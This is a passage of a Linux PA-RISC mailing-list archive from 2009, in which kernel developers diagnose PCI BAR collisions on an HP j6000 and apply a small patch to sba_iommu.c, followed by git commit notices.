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
RThQkJQFDQI=

--MP_/1SPIe_0Bl6eF9ghXbW4nEUd--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: 2.6.31-rc1: parisc: multiple PCI BAR collisions
Date: Fri, 26 Jun 2009 11:02:04 -0500
Lines: 35
Approved: news@gmane.org
Message-ID: <1246032125.3925.45.camel@mulgrave.site>
References: <a4423d670906260158q15080049ue516c3d454f4afbf@mail.gmail.com>
	 <1246027060.3925.18.camel@mulgrave.site>
	 <20090626170823.0a8730b7@epia.jer-c2.orkz.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1246032151 23749 80.91.229.12 (26 Jun 2009 16:02:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 26 Jun 2009 16:02:31 +0000 (UTC)
Cc: Alexander Beregalov <a.beregalov@gmail.com>,
	linux-parisc@vger.kernel.org,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>
To: Jeroen Roovers <jer@gentoo.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 26 18:02:14 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MKDsU-0002nE-2M
	for glpp-linux-parisc@gmane.org; Fri, 26 Jun 2009 18:02:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753217AbZFZQCI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 26 Jun 2009 12:02:08 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752885AbZFZQCI
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 26 Jun 2009 12:02:08 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:59999 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751432AbZFZQCH (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 26 Jun 2009 12:02:07 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 8D5A98EE0FC;
	Fri, 26 Jun 2009 09:02:10 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id Z0to0JDL2kCx; Fri, 26 Jun 2009 09:02:10 -0700 (PDT)
Original-Received: from [192.168.10.224] (newmulgrave.ext.hansenpartnership.com [192.168.10.224])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 0F4AF8EE0C8;
	Fri, 26 Jun 2009 09:02:08 -0700 (PDT)
In-Reply-To: <20090626170823.0a8730b7@epia.jer-c2.orkz.net>
X-Mailer: Evolution 2.24.1.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1836 gmane.linux.kernel:857880
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1836>

On Fri, 2009-06-26 at 17:08 +0200, Jeroen Roovers wrote:
> On Fri, 26 Jun 2009 14:37:40 +0000
> James Bottomley <James.Bottomley@HansenPartnership.com> wrote:
> 
> > On Fri, 2009-06-26 at 12:58 +0400, Alexander Beregalov wrote:
> > > Hardware is HP j6000.
> > > It cannot initialize many PCI devices (sym53c8xx, tulip, STI,
> > > usb(onci)) and cannot boot (no root device).
> > > Messages like this:
> > > sym53c8xx 0:0:0f.0: device not available because of BAR 1
> > > [0xf4005000
> > > - 0xf40053ff] collisions.
> > 
> > This tends to indicate a problem with resource parenting ... could you
> > post the full boot output?  That might indicate why.
> 
> Here goes.

It looks like there's some sort of screw up in the LBA resource
allocation on 32 bits.  The slight problem with this is that I don't
have an LBA 32 bit system to debug this; I've only got a C360.

How recent is the failure? Could you bisect it back to the failing
commit?

Thanks,

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: 2.6.31-rc1: parisc: multiple PCI BAR collisions
Date: Fri, 26 Jun 2009 11:03:04 -0600
Lines: 28
Approved: news@gmane.org
Message-ID: <20090626170304.GA20871@lackof.org>
References: <a4423d670906260158q15080049ue516c3d454f4afbf@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1246035800 2844 80.91.229.12 (26 Jun 2009 17:03:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 26 Jun 2009 17:03:20 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>
To: Alexander Beregalov <a.beregalov@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 26 19:03:11 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MKEpR-00049C-9G
	for glpp-linux-parisc@gmane.org; Fri, 26 Jun 2009 19:03:09 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757005AbZFZRDE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 26 Jun 2009 13:03:04 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755405AbZFZRDD
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 26 Jun 2009 13:03:03 -0400
Original-Received: from complete.lackof.org ([198.49.126.79]:44974 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753889AbZFZRDC (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 26 Jun 2009 13:03:02 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id A69D733E004D;
	Fri, 26 Jun 2009 11:03:04 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id vfOO2iQ3SpHA; Fri, 26 Jun 2009 11:03:04 -0600 (MDT)
Original-Received: by complete.lackof.org (Postfix, from userid 27253)
	id 207F433E0060; Fri, 26 Jun 2009 11:03:04 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <a4423d670906260158q15080049ue516c3d454f4afbf@mail.gmail.com>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1837 gmane.linux.kernel:857904
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1837>

On Fri, Jun 26, 2009 at 12:58:22PM +0400, Alexander Beregalov wrote:
> Hi
> 
> Hardware is HP j6000.
> It cannot initialize many PCI devices (sym53c8xx, tulip, STI,
> usb(onci)) and cannot boot (no root device).
> Messages like this:
> sym53c8xx 0:0:0f.0: device not available because of BAR 1 [0xf4005000
> - 0xf40053ff] collisions.

Yup - I found that out yesterday too. Console output is here:
http://iou.parisc-linux.org/~grundler/console/j6000-2.6.30-parisc_2.6_parenting_failed-01
http://iou.parisc-linux.org/~grundler/console/j6000-2.6.30-parisc_2.6_parenting_failed-02

but in an IRC conversation it' clear I only dumped the "elmmio" and not
the regular "lmmio" resource request. Need to dump both.

I'm pretty sure this is a problem of the root bus resources not getting
setup correctly. I'm not clear on what's wrong. jejb and willy are looking
at it now as well.

thanks,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: 2.6.31-rc1: parisc: multiple PCI BAR collisions
Date: Fri, 26 Jun 2009 11:44:18 -0600
Lines: 56
Approved: news@gmane.org
Message-ID: <20090626174418.GX19977@parisc-linux.org>
References: <a4423d670906260158q15080049ue516c3d454f4afbf@mail.gmail.com> <20090626170304.GA20871@lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1246038271 28453 80.91.229.12 (26 Jun 2009 17:44:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 26 Jun 2009 17:44:31 +0000 (UTC)
Cc: Alexander Beregalov <a.beregalov@gmail.com>,
	linux-parisc@vger.kernel.org,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 26 19:44:24 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MKFTK-0006rr-Qq
	for glpp-linux-parisc@gmane.org; Fri, 26 Jun 2009 19:44:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750814AbZFZRoR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 26 Jun 2009 13:44:17 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752364AbZFZRoR
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 26 Jun 2009 13:44:17 -0400
Original-Received: from palinux.external.hp.com ([192.25.206.14]:46482 "EHLO
	mail.parisc-linux.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750814AbZFZRoR (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 26 Jun 2009 13:44:17 -0400
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id 8C435494006; Fri, 26 Jun 2009 11:44:18 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20090626170304.GA20871@lackof.org>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1838 gmane.linux.kernel:857920
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1838>

On Fri, Jun 26, 2009 at 11:03:04AM -0600, Grant Grundler wrote:
> On Fri, Jun 26, 2009 at 12:58:22PM +0400, Alexander Beregalov wrote:
> > Hi
> > 
> > Hardware is HP j6000.
> > It cannot initialize many PCI devices (sym53c8xx, tulip, STI,
> > usb(onci)) and cannot boot (no root device).
> > Messages like this:
> > sym53c8xx 0:0:0f.0: device not available because of BAR 1 [0xf4005000
> > - 0xf40053ff] collisions.
> 
> I'm pretty sure this is a problem of the root bus resources not getting
> setup correctly. I'm not clear on what's wrong. jejb and willy are looking
> at it now as well.

This patch fixes it for me.

----

Fix PCI resource allocation on non-PAT SBA machines

We weren't marking the resources as memory resources, so they weren't
being found by pci_claim_resource().

Signed-off-by: Matthew Wilcox <willy@linux.intel.com>
Reviewed-by: Grant Grundler <grundler@parisc-linux.org>

diff --git a/drivers/parisc/sba_iommu.c b/drivers/parisc/sba_iommu.c
index d46dd57..123d8fe 100644
--- a/drivers/parisc/sba_iommu.c
+++ b/drivers/parisc/sba_iommu.c
@@ -2057,6 +2057,7 @@ void sba_directed_lmmio(struct parisc_device *pci_hba, struct resource *r)
 		r->start = (base & ~1UL) | PCI_F_EXTEND;
 		size = ~ READ_REG32(reg + LMMIO_DIRECT0_MASK);
 		r->end = r->start + size;
+		r->flags = IORESOURCE_MEM;
 	}
 }
 
@@ -2093,4 +2094,5 @@ void sba_distributed_lmmio(struct parisc_device *pci_hba, struct resource *r )
 	size = (~READ_REG32(sba->sba_hpa + LMMIO_DIST_MASK)) / ROPES_PER_IOC;
 	r->start += rope * (size + 1);	/* adjust base for this rope */
 	r->end = r->start + size;
+	r->flags = IORESOURCE_MEM;
 }

-- 
Matthew Wilcox				Intel Open Source Technology Centre
"Bill, look, we understand that you're interested in selling us this
operating system, but compare it to ours.  We can't possibly take such
a retrograde step."
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [git] parisc: Changes to ref refs/heads/parisc
Date: Fri, 26 Jun 2009 20:14:00 GMT
Lines: 19
Approved: news@gmane.org
Message-ID: <200906262014.n5QKE0I3009723@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1246047251 30859 80.91.229.12 (26 Jun 2009 20:14:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 26 Jun 2009 20:14:11 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 26 22:14:04 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MKHoB-0006ZM-8t
	for glpp-linux-parisc@gmane.org; Fri, 26 Jun 2009 22:14:03 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750803AbZFZUN6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 26 Jun 2009 16:13:58 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1750875AbZFZUN6
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 26 Jun 2009 16:13:58 -0400
Original-Received: from hera.kernel.org ([140.211.167.34]:50216 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750803AbZFZUN5 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 26 Jun 2009 16:13:57 -0400
Original-Received: from hera.kernel.org (IDENT:U2FsdGVkX18O2gQ+3RK1fKcpqWVZ3AXgkxG7cpUdx1w@localhost [127.0.0.1])
	by hera.kernel.org (8.14.2/8.14.2) with ESMTP id n5QKE018009725
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <linux-parisc@vger.kernel.org>; Fri, 26 Jun 2009 20:14:00 GMT
Original-Received: (from kyle@localhost)
	by hera.kernel.org (8.14.2/8.13.1/Submit) id n5QKE0I3009723
	for linux-parisc@vger.kernel.org; Fri, 26 Jun 2009 20:14:00 GMT
X-Virus-Scanned: ClamAV 0.93.3/9510/Fri Jun 26 15:46:23 2009 on hera.kernel.org
X-Virus-Status: Clean
X-Spam-Status: No, score=-2.6 required=5.0 tests=AWL,BAYES_00,
	UNPARSEABLE_RELAY autolearn=ham version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on hera.kernel.org
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.0 (hera.kernel.org [127.0.0.1]); Fri, 26 Jun 2009 20:14:01 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1839
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1839>

New commits:
commit d0a470c8ccae34b99de01fbb426d1334e383dc0d
Author: Matthew Wilcox <matthew@wil.cx>
Date:   Fri Jun 26 17:44:18 2009 +0000

    parisc: Fix PCI resource allocation on non-PAT SBA machines
    
    We weren't marking the resources as memory resources, so they weren't
    being found by pci_claim_resource().
    
    Signed-off-by: Matthew Wilcox <willy@linux.intel.com>
    Reviewed-by: Grant Grundler <grundler@parisc-linux.org>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: 2.6.31-rc1: parisc: multiple PCI BAR collisions
Date: Fri, 26 Jun 2009 16:16:02 -0400
Lines: 23
Approved: news@gmane.org
Message-ID: <20090626201602.GA9862@bombadil.infradead.org>
References: <a4423d670906260158q15080049ue516c3d454f4afbf@mail.gmail.com> <20090626170304.GA20871@lackof.org> <20090626174418.GX19977@parisc-linux.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1246047376 31259 80.91.229.12 (26 Jun 2009 20:16:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 26 Jun 2009 20:16:16 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	Alexander Beregalov <a.beregalov@gmail.com>,
	linux-parisc@vger.kernel.org,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 26 22:16:08 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MKHqB-0007Nb-Pr
	for glpp-linux-parisc@gmane.org; Fri, 26 Jun 2009 22:16:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752169AbZFZUQC (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 26 Jun 2009 16:16:02 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752159AbZFZUQB
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 26 Jun 2009 16:16:01 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:37006 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750803AbZFZUQB (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 26 Jun 2009 16:16:01 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1MKHq6-0006s9-Hq; Fri, 26 Jun 2009 20:16:02 +0000
Content-Disposition: inline
In-Reply-To: <20090626174418.GX19977@parisc-linux.org>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1840 gmane.linux.kernel:857967
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1840>

On Fri, Jun 26, 2009 at 11:44:18AM -0600, Matthew Wilcox wrote:
> > > Hardware is HP j6000.
> > > It cannot initialize many PCI devices (sym53c8xx, tulip, STI,
> > > usb(onci)) and cannot boot (no root device).
> > > Messages like this:
> > > sym53c8xx 0:0:0f.0: device not available because of BAR 1 [0xf4005000
> > > - 0xf40053ff] collisions.
> > 
> > I'm pretty sure this is a problem of the root bus resources not getting
> > setup correctly. I'm not clear on what's wrong. jejb and willy are looking
> > at it now as well.
> 
> This patch fixes it for me.
> 

obviously correct, applied and pushed out.

thanks, kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [git] parisc: Changes to ref refs/heads/parisc
Date: Thu, 2 Jul 2009 03:48:35 GMT
Lines: 25
Approved: news@gmane.org
Message-ID: <200907020348.n623mZPe026720@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1246506529 18378 80.91.229.12 (2 Jul 2009 03:48:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 2 Jul 2009 03:48:49 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jul 02 05:48:42 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MMDHr-0001Vt-SO
	for glpp-linux-parisc@gmane.org; Thu, 02 Jul 2009 05:48:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751012AbZGBDsc (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 1 Jul 2009 23:48:32 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751119AbZGBDsc
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 1 Jul 2009 23:48:32 -0400
Original-Received: from hera.kernel.org ([140.211.167.34]:35285 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751012AbZGBDsc (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 1 Jul 2009 23:48:32 -0400
Original-Received: from hera.kernel.org (IDENT:U2FsdGVkX1+4TIMIqbc2i1RNqwdAI8rR1Hu2drr0hus@localhost [127.0.0.1])
	by hera.kernel.org (8.14.2/8.14.2) with ESMTP id n623mZrq026722
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <linux-parisc@vger.kernel.org>; Thu, 2 Jul 2009 03:48:35 GMT
Original-Received: (from kyle@localhost)
	by hera.kernel.org (8.14.2/8.13.1/Submit) id n623mZPe026720
	for linux-parisc@vger.kernel.org; Thu, 2 Jul 2009 03:48:35 GMT
X-Virus-Scanned: ClamAV 0.93.3/9533/Wed Jul  1 22:32:59 2009 on hera.kernel.org
X-Virus-Status: Clean
X-Spam-Status: No, score=-2.6 required=5.0 tests=BAYES_00,UNPARSEABLE_RELAY
	autolearn=ham version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on hera.kernel.org
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.0 (hera.kernel.org [127.0.0.1]); Thu, 02 Jul 2009 03:48:35 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1841
